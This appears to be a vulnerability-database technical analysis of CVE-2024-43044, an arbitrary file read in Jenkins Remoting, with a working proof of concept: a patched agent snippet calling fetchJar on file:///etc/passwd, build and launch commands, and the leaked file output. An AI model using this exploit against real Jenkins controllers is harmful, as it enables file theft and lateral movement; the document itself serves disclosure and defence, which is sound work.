Attacker Value
Moderate
(1 user assessed)
Exploitability
Moderate
(1 user assessed)
User Interaction
None
Privileges Required
Low
Attack Vector
Network
1

CVE-2024-43044

Disclosure Date: August 07, 2024
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Lateral Movement
Techniques
Validation
Validated

Description

Jenkins 2.470 and earlier, LTS 2.452.3 and earlier allows agent processes to read arbitrary files from the Jenkins controller file system by using the ClassLoaderProxy#fetchJar method in the Remoting library.

Add Assessment

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Medium
Technical Analysis

CVE-2024-43044 is an arbitrary file read vulnerability in Jenkins Automation Server, and it’s exploitable via Jenkins Remoting. This Remoting component operates as the client running on worker machines, and it’s used by worker agents to connect to the central Jenkins controller and execute assigned distributed workload tasks. Based on the advisory details, a worker agent client can abuse a feature intended to read classes from the Jenkins server to read arbitrary files from the server instead.

The initial advisory for the vulnerability classifies the severity as “Critical” and indicates that no authentication is required for exploitation. However, all other materials published, including the CVSS strings associated with the CVE, state that low privileges are required for exploitation. These materials also show a different severity score of “High”. Based on our analysis, unless the default agent authentication has been manually disabled, the typical vulnerable configuration will require low privileges to exploit.

Vulnerable Instances

Worker agents must exist and their credentials must be compromised for exploitation to occur. Though an out-of-the-box Jenkins instance on an affected version is not vulnerable, setting up worker agents is a very common configuration in enterprise environments. Per the advisory, most versions of Jenkins Remoting 3256.v88a_f6e922152 and earlier include code that can be used for local file disclosure. The advisory states that the vulnerable code is included in Jenkins 2.470 and earlier, as well as Jenkins LTS 2.452.3 and earlier.

A vulnerable v2.470 copy of Jenkins is available here.

Our affected Jenkins instance was configured to be exploitable by performing the following steps:

  • Login as an administrator.
  • Navigate to Manage Jenkins>Nodes and create a new Agent node. Copy the displayed connection secrets for later reference.
  • Navigate to Manage Jenkins>Security and enable a TCP port for inbound agents (either “Random” or “Fixed”).

Exploitation

The advisory states that “calls to Channel#preloadJar result in the retrieval of files from the controller by the agent using ClassLoaderProxy#fetchJar.” To explore this further, we’ll look at that area of the code base for the Remoting library.

Within RemoteClassLoader.java, ClassLoaderProxy contains fetchJar. It takes one parameter of type URL. Interestingly, this function has an existing FindBugs SSRF warning exception, indicating it had previously been flagged by security static analysis tooling.

        @Override
        @SuppressFBWarnings(
                value = "URLCONNECTION_SSRF_FD",
                justification = "This is only used for managing the jar cache as files.")
        public byte[] fetchJar(URL url) throws IOException {
            return Util.readFully(url.openStream());
        }

In Util.java, the readFully function used by fetchJar reads an InputStream and returns the resulting ByteArrayOutputStream.

    static byte[] readFully(InputStream in) throws IOException {
        // TODO perhaps replace by in.readAllBytes() after checking close behavior
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        copy(in, baos);
        return baos.toByteArray();
    }

We know that a URL type is being used by fetchJar, and the URL type typically supports the file protocol scheme. Since the intended impact is local file disclosure, we’ll likely need to supply a URL string like “file:///etc/passwd”.

To better understand the intended calling context for fetchJar, we can reference prefetch in RemoteClassLoader.java. At [0], we see proxy from RemoteClassLoader used to call fetchJar with a file path as the parameter.

    /*package*/ boolean prefetch(URL jar) throws IOException {
        synchronized (prefetchedJars) {
            if (prefetchedJars.contains(jar)) {
                return false;
            }

            String p = jar.getPath().replace('\\', '/');
            p = Util.getBaseName(p);
            File localJar = Util.makeResource(p, proxy.fetchJar(jar)); // [0]
            addURL(localJar.toURI().toURL());
            prefetchedJars.add(jar);
            return true;
        }
    }

As such, we’ll need to mimic this by inserting a malicious call to fetchJar after an instance of RemoteClassLoader is created. We’ll also have to do this where an existing proxy is available to call fetchJar with. The code that initializes a new RemoteClassLoader satisfies both criteria.

    private RemoteClassLoader(String name, @CheckForNull ClassLoader parent, @NonNull IClassLoader proxy) {
        super(name, new URL[0], parent);
        final Channel channel = RemoteInvocationHandler.unwrap(proxy);
        this.channel = channel == null ? null : channel.ref();
        this.underlyingProxy = proxy;
        if (channel == null || !channel.remoteCapability.supportsPrefetch() || channel.getJarCache() == null) {
            proxy = new DumbClassLoaderBridge(proxy);
        }
        this.proxy = proxy;
}

We’ll also need to ensure the authentication flow is complete, since the file will be read from the controller over the authenticated channel. Setting a breakpoint in the RemoteClassLoader code and connecting an agent results in the breakpoint hitting after the authentication flow is complete. Adding a call to fetchJar there should trigger the vulnerability.

We can test this by appending the following snippet to the above code.

       try {
            URL targ = new URL("file:///etc/passwd");
            byte[] outb = this.proxy.fetchJar(targ);
            String outs = new String(outb, StandardCharsets.UTF_8);
            System.out.println(outs);
        } catch (MalformedURLException e) {
            System.out.println("Malformed URL except");
        } catch (IOException e) {
            System.out.println("IO except - file may not exist");
        }

Next, we can quickly compile an agent.jar artifact using mvn clean install -Dmaven.test.skip=true -Denforcer.skip=true. With that in hand, we’ll connect using the Agent connection secret and attempt to leak the /etc/passwd file from the Jenkins controller host.

$ java -jar target/remoting-999999-SNAPSHOT.jar -url http://192.168.55.129:8080/ -secret 53fa0cdd4d072027a90e98a15b25a95e836444a466c6ad4a38c1fb0c7914bf68 -name agent0 -workDir "/home/jenkins"
Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager initializeWorkDir
INFO: Using /home/jenkins/remoting as a remoting work directory
Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager setupLogging
INFO: Both error and output logs will be printed to /home/jenkins/remoting
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher createEngine
INFO: Setting up agent: agent0
Aug 21, 2024 11:23:44 AM hudson.remoting.Engine startEngine
INFO: Using Remoting version: 999999-SNAPSHOT (private-08/21/2024 00:23 GMT-test-r7)
Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager initializeWorkDir
INFO: Using /home/jenkins/remoting as a remoting work directory
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Locating server among [http://192.168.55.129:8080/]
Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.JnlpAgentEndpointResolver resolve
INFO: Remoting server accepts the following protocols: [JNLP4-connect, Ping]
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Agent discovery successful
  Agent address: 192.168.55.129
  Agent port:    41863
  Identity:      c2:97:41:53:56:7c:6f:75:61:de:07:c7:fa:80:1f:57
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Handshaking
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Connecting to 192.168.55.129:41863
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Server reports protocol JNLP4-connect-proxy not supported, skipping
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Trying protocol: JNLP4-connect
Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader run
INFO: Waiting for ProtocolStack to start.
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Remote identity confirmed: c2:97:41:53:56:7c:6f:75:61:de:07:c7:fa:80:1f:57
Aug 21, 2024 11:23:45 AM hudson.remoting.Launcher$CuiListener status
INFO: Connected
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
[..SNIP..]

The arbitrary file read succeeds and /etc/passwd is returned to the attacker.

Summary

CVE-2024-43044 is a local file disclosure bug, and the vulnerability seems to be authenticated in most scenarios. Based on this analysis, in order to exploit a typical vulnerable server, an attacker would need to acquire a Jenkins agent secret. This secret could be acquired by compromising a Jenkins agent system, a developer computer, or a secrets manager system. With that secret, and with network access to the Jenkins controller server, the attacker can craft an agent client JAR file that will authenticate and read arbitrary files from the server.

With the above in mind, CVE-2024-43044 seems most likely to be exploited for lateral movement, rather than facilitating initial access. However, due to the high-severity context, anyone running an affected version of Jenkins should urgently update their controller server. If updating instances is not immediately feasible, the Jenkins team has provided a lighter workaround patch to fix the vulnerability.

CVSS V3 Severity and Metrics
Base Score:
8.8 High
Impact Score:
5.9
Exploitability Score:
2.8
Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
Low
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • jenkins

Products

  • jenkins

References

Exploit
PoCs that have not been added by contributors directly have been sourced from: nomi-sec/PoC-in-GitHub.
A PoC added here by the AKB Worker must have at least 2 GitHub stars.

Additional Info

Technical Analysis